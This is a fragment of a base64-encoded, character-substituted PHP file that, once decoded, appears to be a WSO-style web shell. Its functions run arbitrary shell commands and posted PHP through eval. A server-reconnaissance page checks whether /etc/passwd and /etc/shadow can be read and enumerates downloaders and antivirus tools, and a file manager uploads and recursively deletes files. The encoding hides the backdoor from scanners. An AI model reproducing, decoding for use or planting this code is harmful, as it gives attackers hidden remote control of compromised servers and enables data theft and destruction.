6JzonJykgLiAnPC9zcDFuPjwvdGQ+PGJyPicNCiAgICAgICAuICc8dGQ+PG4yYnI+JyAuIHMzYnN0cihAcGhwXzNuMW01KCksIDAsIDZhMCkgLiAnIDwxIGhyNWY9IicgLiAkNXhwbDRuayAuICciIHQxcmc1dD1fYmwxbms+UzUxcmNoPC8xPjwvbjJicj48YnI+JyAuICQzNGQgLiAnICggJyAuICQzczVyIC4gJyApIDxzcDFuPkdyMjNwOjwvc3Axbj4gJyAuICRnNGQgLiAnICggJyAuICRncjIzcCAuICcgKTxicj4nIC4gQHBocHY1cnM0Mm4oKSAuICcgPHNwMW4+UzFmNSBtMmQ1Ojwvc3Axbj4gJyAuICgkR0xPQkFMU1snczFmNV9tMmQ1J10/JzxmMm50IGMybDJyPXI1ZD5PTjwvZjJudD4nOic8ZjJudCBjMmwycj1ncjU1bj48Yj5PRkY8L2I+PC9mMm50PicpDQogICAgICAgLiAnIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnUGhwXCcsbjNsbCxcJ1wnLFwnNG5mMlwnKSI+IHBocDRuZjI8LzE+IDxzcDFuPkQxdDV0NG01Ojwvc3Axbj4gJyAuIGQxdDUoJ1ktbS1kIEg6NDpzJykgLiAnPGJyPicgLiB3czJWNDV3UzR6NSgkdDJ0MWxTcDFjNSkgLiAnIDxzcDFuPkZyNTU6PC9zcDFuPiAnIC4gd3MyVjQ1d1M0ejUoJGZyNTVTcDFjNSkgLiAnICgnLiAoNG50KSAoJGZyNTVTcDFjNS8kdDJ0MWxTcDFjNSo2MDApIC4gJyUpPGJyPicgLiAkY3dkX2w0bmtzIC4gJyAnLiB3czJQNXJtc0MybDJyKCRHTE9CQUxTWydjd2QnXSkgLiAnIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycgLiAkR0xPQkFMU1snaDJtNV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaDJtNSBdPC8xPjxicj4nIC4gJGRyNHY1cyAuICc8L3RkPicNCiAgICAgICAuICc8dGQgdzRkdGg9NiAxbDRnbj1yNGdodD48bjJicj48czVsNWN0IDJuY2gxbmc1PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnYxbDM1KSI+PDJwdGdyMjNwIGwxYjVsPSJQMWc1IGNoMXJzNXQiPicgLiAkMnB0X2NoMXJzNXRzIC4gJzwvMnB0Z3IyM3A+PC9zNWw1Y3Q+PGJyPjxzcDFuPkgyc3Q6PC9zcDFuPjxicj4nIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJzxicj48c3Axbj5TNXJ2NXIgSVA6PC9zcDFuPjwxIGhyNWY9aHR0cDovL3d3dy5iNG5nLmMybS9zNTFyY2g/cT00cDonIC5nNXRoMnN0YnluMW01KCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuICcgPicgLmc1dGgyc3RieW4xbTUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4gJzwvMT48YnI+PHNwMW4+Q2w0NW50IElQOjwvc3Axbj4nIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAnPC9uMmJyPjwvdGQ+PC90cj48L3QxYmw1PicNCiAgICAgICAuICc8dDFibDUgc3R5bDU9ImIycmQ1ci10MnA6NnB4IHMybDRkICMwMDAwMDA7IiBjNWxscDFkZDRuZz1vIGM1bGxzcDFjNG5nPTAgdzRkdGg9NjAwJT48dHI+JyAuICRtNW4zIC4gJzwvdHI+PC90MWJsNT48ZDR2IHN0eWw1PSJtMXJnNG46aSI+JzsNCn0NCg0KZjNuY3Q0Mm4gd3MyRjIydDVyKCkgew0KCSQ0c193cjR0MWJsNSA9IDRzX3dyNHQxYmw1KCRHTE9CQUxTWydjd2QnXSk/IiA8ZjJudCBjMmwycj0nZ3I1NW4nPldyNHQ1MWJsNTwvZjJudD4iOiIgPGYybnQgYzJsMnI9cjVkPk4ydCB3cjR0MWJsNTwvZjJudD4iOw0KICAgIDVjaDIgIg0KPC9kNHY+DQo8dDFibDUgY2wxc3M9NG5mMiA0ZD10MjJsc1RibCBjNWxscDFkZDRuZz1vIGM1bGxzcDFjNG5nPTAgdzRkdGg9NjAwJSAgc3R5bDU9J2IycmQ1ci10MnA6YXB4IHMybDRkICNpQ2VCN2U7YjJyZDVyLWIydHQybTphcHggczJsNGQgI2ZmZmZmZjsnPg0KCTx0cj4NCgkJPHRkPjxmMnJtIDJuczNibTR0PSdnKG4zbGwsdGg0cy5jLnYxbDM1LFwiXCIpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkNoMW5nNSBkNHI6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1jIHYxbDM1PSciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgkJPHRkPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNUMjJscycsbjNsbCx0aDRzLmYudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5SNTFkIGY0bDU6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCTwvdHI+PHRyPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c00xbicsbjNsbCwnbWtkNHInLHRoNHMuZC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPk0xazUgZDRyOjwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgkJPHRkPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNUMjJscycsbjNsbCx0aDRzLmYudjFsMzUsJ21rZjRsNScpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5NMWs1IGY0bDU6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCTwvdHI+PHRyPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdDMm5zMmw1JyxuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPkV4NWMzdDU6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1jIHYxbDM1PScnPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCQk8dGQ+PGYycm0gbTV0aDJkPSdwMnN0JyBFTkNUWVBFPSdtM2x0NHAxcnQvZjJybS1kMXQxJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNQW4nPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9JzNwbDIxZEY0bDUnPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciIC4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykgLiAiJz4NCgkJPHNwMW4+VXBsMjFkIGY0bDU6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PWY0bDUgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48YnIgID48L3RkPg0KCTwvdHI+PC90MWJsNT48L2Q0dj48L2IyZHk+PC9odG1sPiI7DQp9DQoNCjRmICghZjNuY3Q0Mm5fNXg0c3RzKCJwMnM0eF9nNXRwdzM0ZCIpICYmIChzdHJwMnMoJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10sICdwMnM0eF9nNXRwdzM0ZCcpPT09ZjFsczUpKSB7DQogICAgZjNuY3Q0Mm4gcDJzNHhfZzV0cHczNGQoJHApIHtyNXQzcm4gZjFsczU7fSB9DQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0Z3JnNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0Z3JnNGQnKT09PWYxbHM1KSkgew0KICAgIGYzbmN0NDJuIHAyczR4X2c1dGdyZzRkKCRwKSB7cjV0M3JuIGYxbHM1O30gfQ0KDQpmM25jdDQybiB3czJFeCgkNG4pIHsNCgkkMjN0ID0gJyc7DQoJNGYgKGYzbmN0NDJuXzV4NHN0cygnNXg1YycpKSB7DQoJCUA1eDVjKCQ0biwkMjN0KTsNCgkJJDIzdCA9IEBqMjRuKCJcbiIsJDIzdCk7DQoJfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgew0KCQkyYl9zdDFydCgpOw0KCQlAcDFzc3RocjMoJDRuKTsNCgkJJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3N5c3Q1bScpKSB7DQoJCTJiX3N0MXJ0KCk7DQoJCUBzeXN0NW0oJDRuKTsNCgkJJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3NoNWxsXzV4NWMnKSkgew0KCQkkMjN0ID0gc2g1bGxfNXg1YygkNG4pOw0KCX0gNWxzNTRmICg0c19yNXMyM3JjNSgkZiA9IEBwMnA1bigkNG4sInIiKSkpIHsNCgkJJDIzdCA9ICIiOw0KCQl3aDRsNSghQGY1MmYoJGYpKQ0KCQkJJDIzdCAuPSBmcjUxZCgkZiw2MGF1KTsNCgkJcGNsMnM1KCRmKTsNCgl9DQoJcjV0M3JuICQyM3Q7DQp9DQpmM25jdDQybiB3czJWNDV3UzR6NSgkcykgew0KCTRmKCRzID49IDYwN283dTY4YXUpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjA3bzd1NjhhdSApLiAnIEdCJzsNCgk1bHM1NGYoJHMgPj0gNjB1OGk3ZSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MHU4aTdlICkgLiAnIE1CJzsNCgk1bHM1NGYoJHMgPj0gNjBhdSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MGF1ICkgLiAnIEtCJzsNCgk1bHM1DQoJCXI1dDNybiAkcyAuICcgQic7DQp9DQoNCmYzbmN0NDJuIHdzMlA1cm1zKCRwKSB7DQoJNGYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSQ0ID0gJ3MnOw0KCTVsczU0ZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJDQgPSAnbCc7DQoJNWxzNTRmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkNCA9ICctJzsNCgk1bHM1NGYgKCgkcCAmIDB4ZTAwMCkgPT0gMHhlMDAwKSQ0ID0gJ2InOw0KCTVsczU0ZiAoKCRwICYgMHh1MDAwKSA9PSAweHUwMDApJDQgPSAnZCc7DQoJNWxzNTRmICgoJHAgJiAweGEwMDApID09IDB4YTAwMCkkNCA9ICdjJzsNCgk1bHM1NGYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSQ0ID0gJ3AnOw0KCTVsczUgJDQgPSAnMyc7DQoJJDQgLj0gKCgkcCAmIDB4MDYwMCkgPyAncicgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMHUwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KCSQ0IC49ICgoJHAgJiAweDAwYTApID8gJ3InIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDYwKSA/ICd3JyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwdTAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MHUwMCkgPyAnUycgOiAnLScpKTsNCgkkNCAuPSAoKCRwICYgMHgwMDB1KSA/ICdyJyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwYSkgPyAndycgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwMDYpID8gKCgkcCAmIDB4MGEwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDBhMDApID8gJ1QnIDogJy0nKSk7DQoJcjV0M3JuICQ0Ow0KfQ0KDQpmM25jdDQybiB3czJQNXJtc0MybDJyKCRmKSB7DQoJNGYgKCFANHNfcjUxZDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPSNGRjAwMDA+JyAuIHdzMlA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCgk1bHM1NGYgKCFANHNfd3I0dDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPWJsMWNrPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQoJNWxzNQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPWdyNTVuPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQp9DQoNCjRmKCFmM25jdDQybl81eDRzdHMoInNjMW5kNHIiKSkgew0KCWYzbmN0NDJuIHNjMW5kNHIoJGQ0cikgew0KCQkkZGggID0gMnA1bmQ0cigkZDRyKTsNCgkJd2g0bDUgKGYxbHM1ICE9PSAoJGY0bDVuMW01ID0gcjUxZGQ0cigkZGgpKSkNCiAgICAJCSRmNGw1c1tdID0gJGY0bDVuMW01Ow0KCQlyNXQzcm4gJGY0bDVzOw0KCX0NCn0NCg0KZjNuY3Q0Mm4gd3MyV2g0Y2goJHApIHsNCgkkcDF0aCA9IHdzMkV4KCd3aDRjaCAnIC4gJHApOw0KCTRmKCE1bXB0eSgkcDF0aCkpDQoJCXI1dDNybiAkcDF0aDsNCglyNXQzcm4gZjFsczU7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblM1Y0luZjIoKSB7DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PlM1cnY1ciBzNWMzcjR0eSA0bmYycm0xdDQybjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQoJZjNuY3Q0Mm4gd3MyUzVjUDFyMW0oJG4sICR2KSB7DQoJCSR2ID0gdHI0bSgkdik7DQoJCTRmKCR2KSB7DQoJCQk1Y2gyICc8c3Axbj4nIC4gJG4gLiAnOiA8L3NwMW4+JzsNCgkJCTRmKHN0cnAycygkdiwgIlxuIikgPT09IGYxbHM1KQ0KCQkJCTVjaDIgJHYgLiAnPGJyPic7DQoJCQk1bHM1DQoJCQkJNWNoMiAnPHByNSBjbDFzcz1tbDY+JyAuICR2IC4gJzwvcHI1Pic7DQoJCX0NCgl9DQoJDQoJd3MyUzVjUDFyMW0oJ1M1cnY1ciBzMmZ0dzFyNScsIEBnNXQ1bnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsNCiAgICA0ZihmM25jdDQybl81eDRzdHMoJzFwMWNoNV9nNXRfbTJkM2w1cycpKQ0KICAgICAgICB3czJTNWNQMXIxbSgnTDIxZDVkIEFwMWNoNSBtMmQzbDVzJywgNG1wbDJkNSgnLCAnLCAxcDFjaDVfZzV0X20yZDNsNXMoKSkpOw0KCXdzMlM1Y1AxcjFtKCdENHMxYmw1ZCBQSFAgRjNuY3Q0Mm5zJywgJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10/JEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ106J24ybjUnKTsNCgl3czJTNWNQMXIxbSgnT3A1biBiMXM1IGQ0cicsIEA0bjRfZzV0KCcycDVuX2IxczVkNHInKSk7DQoJd3MyUzVjUDFyMW0oJ1MxZjUgbTJkNSA1eDVjIGQ0cicsIEA0bjRfZzV0KCdzMWY1X20yZDVfNXg1Y19kNHInKSk7DQoJd3MyUzVjUDFyMW0oJ1MxZjUgbTJkNSA0bmNsM2Q1IGQ0cicsIEA0bjRfZzV0KCdzMWY1X20yZDVfNG5jbDNkNV9kNHInKSk7DQoJd3MyUzVjUDFyMW0oJ2NVUkwgczNwcDJydCcsIGYzbmN0NDJuXzV4NHN0cygnYzNybF92NXJzNDJuJyk/JzVuMWJsNWQnOiduMicpOw0KCSR0NW1wPTFycjF5KCk7DQoJNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9nNXRfY2w0NW50XzRuZjInKSkNCgkJJHQ1bXBbXSA9ICJNeVNRbCAoIi5teXNxbF9nNXRfY2w0NW50XzRuZjIoKS4iKSI7DQoJNGYoZjNuY3Q0Mm5fNXg0c3RzKCdtc3NxbF9jMm5uNWN0JykpDQoJCSR0NW1wW10gPSAiTVNTUUwiOw0KCTRmKGYzbmN0NDJuXzV4NHN0cygncGdfYzJubjVjdCcpKQ0KCQkkdDVtcFtdID0gIlAyc3RncjVTUUwiOw0KCTRmKGYzbmN0NDJuXzV4NHN0cygnMmM0X2Mybm41Y3QnKSkNCgkJJHQ1bXBbXSA9ICJPcjFjbDUiOw0KCXdzMlM1Y1AxcjFtKCdTM3BwMnJ0NWQgZDF0MWIxczVzJywgNG1wbDJkNSgnLCAnLCAkdDVtcCkpOw0KCTVjaDIgJzxicj4nOw0KCQ0KCTRmKCRHTE9CQUxTWycycyddID09ICduNHgnKSB7DQoJCXdzMlM1Y1AxcjFtKCdSNTFkMWJsNSAvNXRjL3Axc3N3ZCcsIEA0c19yNTFkMWJsNSgnLzV0Yy9wMXNzd2QnKT8ieTVzIDwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsIFwiLzV0Yy9cIiwgXCJwMXNzd2RcIiknPlt2NDV3XTwvMT4iOiduMicpOw0KCQl3czJTNWNQMXIxbSgnUjUxZDFibDUgLzV0Yy9zaDFkMncnLCBANHNfcjUxZDFibDUoJy81dGMvc2gxZDJ3Jyk/Ink1cyA8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLCBcIjV0Y1wiLCBcInNoMWQyd1wiKSc+W3Y0NXddPC8xPiI6J24yJyk7DQoJCXdzMlM1Y1AxcjFtKCdPUyB2NXJzNDJuJywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvcHIyYy92NXJzNDJuJykpOw0KCQl3czJTNWNQMXIxbSgnRDRzdHIgbjFtNScsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy80c3MzNS5uNXQnKSk7DQoJCTRmKCEkR0xPQkFMU1snczFmNV9tMmQ1J10pIHsNCiAgICAgICAgICAgICQzczVyZjNsID0gMXJyMXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtMWs1JywncGhwJywncDVybCcsJ3B5dGgybicsJ3IzYnknLCd0MXInLCdnejRwJywnYno0cCcsJ2J6NHBhJywnbmMnLCdsMmMxdDUnLCdzMzRkcDVybCcpOw0KICAgICAgICAgICAgJGQxbmc1ciA9IDFycjF5KCdrMXYnLCduMmRvYScsJ2JkYzJyNWQnLCczdnNjMW4nLCdzMXYnLCdkcnc1YmQnLCdjbDFtZCcsJ3JraDNudDVyJywnY2hrcjIydGs0dCcsJzRwdDFibDVzJywnNHBmdycsJ3RyNHB3NHI1Jywnc2g0NWxkY2MnLCdwMnJ0czVudHJ5Jywnc24ycnQnLCcyc3M1YycsJ2w0ZHMxZG0nLCd0Y3BsMmRnJywnc3g0ZCcsJ2wyZ2NoNWNrJywnbDJndzF0Y2gnLCdzeXNtMXNrJywnem1ic2MxcCcsJ3Mxd200bGwnLCd3MnJtc2MxbicsJ240bmoxJyk7DQogICAgICAgICAgICAkZDJ3bmwyMWQ1cnMgPSAxcnIxeSgnd2c1dCcsJ2Y1dGNoJywnbHlueCcsJ2w0bmtzJywnYzNybCcsJ2c1dCcsJ2x3cC1tNHJyMnInKTsNCgkJCTVjaDIgJzxicj4nOw0KCQkJJHQ1bXA9MXJyMXkoKTsNCgkJCWYycjUxY2ggKCQzczVyZjNsIDFzICQ0dDVtKQ0KCQkJCTRmKHdzMldoNGNoKCQ0dDVtKSkNCiAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOw0KCQkJd3MyUzVjUDFyMW0oJ1VzNXJmM2wnLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCgkJCSR0NW1wPTFycjF5KCk7DQoJCQlmMnI1MWNoICgkZDFuZzVyIDFzICQ0dDVtKQ0KCQkJCTRmKHdzMldoNGNoKCQ0dDVtKSkNCiAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOw0KCQkJd3MyUzVjUDFyMW0oJ0Qxbmc1cicsIDRtcGwyZDUoJywgJywkdDVtcCkpOw0KCQkJJHQ1bXA9MXJyMXkoKTsNCgkJCWYycjUxY2ggKCRkMndubDIxZDVycyAxcyAkNHQ1bSkgDQoJCQkJNGYod3MyV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07DQoJCQl3czJTNWNQMXIxbSgnRDJ3bmwyMWQ1cnMnLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCgkJCTVjaDIgJzxici8+JzsNCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdIREQgc3AxYzUnLCB3czJFeCgnZGYgLWgnKSk7DQoJCQl3czJTNWNQMXIxbSgnSDJzdHMnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvaDJzdHMnKSk7DQoJCX0NCgl9IDVsczUgew0KCQl3czJTNWNQMXIxbSgnT1MgVjVyczQybicsd3MyRXgoJ3Y1cicpKTsNCgkJd3MyUzVjUDFyMW0oJ0FjYzIzbnQgUzV0dDRuZ3MnLHdzMkV4KCduNXQgMWNjMjNudHMnKSk7DQoJCXdzMlM1Y1AxcjFtKCdVczVyIEFjYzIzbnRzJyx3czJFeCgnbjV0IDNzNXInKSk7DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblBocCgpIHsNCgk0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCgkJJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IHRyMzU7DQoJCTJiX3N0MXJ0KCk7DQoJCTV2MWwoJF9QT1NUWydwNiddKTsNCgkJJHQ1bXAgPSAiZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ1BocE8zdHAzdCcpLnN0eWw1LmQ0c3BsMXk9Jyc7ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ1BocE8zdHAzdCcpLjRubjVySFRNTD0nIiAuIDFkZGNzbDFzaDVzKGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpLCAiXG5cclx0XFwnXDAiKSAuICInO1xuIjsNCgkJNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCgkJNXg0dDsgDQoJfQ0KCXdzMkg1MWQ1cigpOw0KCTRmKDRzczV0KCRfUE9TVFsncGEnXSkgJiYgKCRfUE9TVFsncGEnXSA9PSAnNG5mMicpKSB7DQoJCTVjaDIgJzxoNj5QSFAgNG5mMjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzdHlsNT4ucCB7YzJsMnI6IzAwMDt9PC9zdHlsNT4nOw0KCQkyYl9zdDFydCgpOw0KCQlwaHA0bmYyKCk7DQoJCSR0bXAgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICAgICAgJHRtcCA9IHByNWdfcjVwbDFjNSgnIShiMmR5fDE6XHcrfGIyZHksIHRkLCB0aCwgaDYsIGhhKSB7Lip9IW1zNFUnLCcnLCR0bXApOw0KCQkkdG1wID0gcHI1Z19yNXBsMWM1KCchdGQsIHRoIHsoLiopfSFtczRVJywnLjUsIC52LCAuaCwgLmggdGggeyQ2fScsJHRtcCk7DQoJCTVjaDIgc3RyX3I1cGwxYzUoJzxoNicsJzxoYScsICR0bXApIC4nPC9kNHY+PGJyPic7DQoJfQ0KCTRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSAmJiAhNW1wdHkoJF9QT1NUWydwNiddKSkNCgkJJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IGYxbHM1Ow0KICAgIDVjaDIgJzxoNj5FeDVjM3Q0Mm4gUEhQLWMyZDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48ZjJybSBuMW01PXBmIG01dGgyZD1wMnN0IDJuczNibTR0PSI0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShcJ1BocFwnLG4zbGwsdGg0cy5jMmQ1LnYxbDM1KTt9NWxzNXtnKFwnUGhwXCcsbjNsbCx0aDRzLmMyZDUudjFsMzUsXCdcJyk7fXI1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PWMyZDUgY2wxc3M9YjRnMXI1MSA0ZD1QaHBDMmQ1PicuKCE1bXB0eSgkX1BPU1RbJ3A2J10pP2h0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKTonJykuJzwvdDV4dDFyNTE+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PUV2MWwgc3R5bDU9Im0xcmc0bi10MnA6aXB4Ij4nOw0KCTVjaDIgJyA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLigkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLic+IHM1bmQgM3M0bmcgQUpBWDwvZjJybT48cHI1IDRkPVBocE8zdHAzdCBzdHlsNT0iJy4oNW1wdHkoJF9QT1NUWydwNiddKT8nZDRzcGwxeTpuMm41Oyc6JycpLidtMXJnNG4tdDJwOmlweDsiIGNsMXNzPW1sNj4nOw0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCTJiX3N0MXJ0KCk7DQoJCTV2MWwoJF9QT1NUWydwNiddKTsNCgkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKTsNCgl9DQoJNWNoMiAnPC9wcjU+PC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuRjRsNXNNMW4oKSB7DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PkY0bDUgTTFuMWc1ciA8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c2NyNHB0PnA2Xz1wYV89cG9fPSIiOzwvc2NyNHB0Pic7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJc3c0dGNoKCRfUE9TVFsncDYnXSkgew0KCQkJYzFzNSAnM3BsMjFkRjRsNSc6DQoJCQkJNGYoIUBtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snZiddWyd0bXBfbjFtNSddLCAkX0ZJTEVTWydmJ11bJ24xbTUnXSkpDQoJCQkJCTVjaDIgIkMxbid0IDNwbDIxZCBmNGw1ISI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdta2Q0cic6DQoJCQkJNGYoIUBta2Q0cigkX1BPU1RbJ3BhJ10pKQ0KCQkJCQk1Y2gyICJDMW4ndCBjcjUxdDUgbjV3IGQ0ciI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdkNWw1dDUnOg0KCQkJCWYzbmN0NDJuIGQ1bDV0NUQ0cigkcDF0aCkgew0KCQkJCQkkcDF0aCA9IChzM2JzdHIoJHAxdGgsLTYpPT0nLycpID8gJHAxdGg6JHAxdGguJy8nOw0KCQkJCQkkZGggID0gMnA1bmQ0cigkcDF0aCk7DQoJCQkJCXdoNGw1ICggKCQ0dDVtID0gcjUxZGQ0cigkZGgpICkgIT09IGYxbHM1KSB7DQoJCQkJCQkkNHQ1bSA9ICRwMXRoLiQ0dDVtOw0KCQkJCQkJNGYgKCAoYjFzNW4xbTUoJDR0NW0pID09ICIuLiIpIHx8IChiMXM1bjFtNSgkNHQ1bSkgPT0gIi4iKSApDQoJCQkJCQkJYzJudDRuMzU7DQoJCQkJCQkkdHlwNSA9IGY0bDV0eXA1KCQ0dDVtKTsNCgkJCQkJCTRmICgkdHlwNSA9PSAiZDRyIikNCgkJCQkJCQlkNWw1dDVENHIoJDR0NW0pOw0KCQkJCQkJNWxzNQ0KCQkJCQkJCUAzbmw0bmsoJDR0NW0pOw0KCQkJCQl9DQoJCQkJCWNsMnM1ZDRyKCRkaCk7DQoJCQkJCUBybW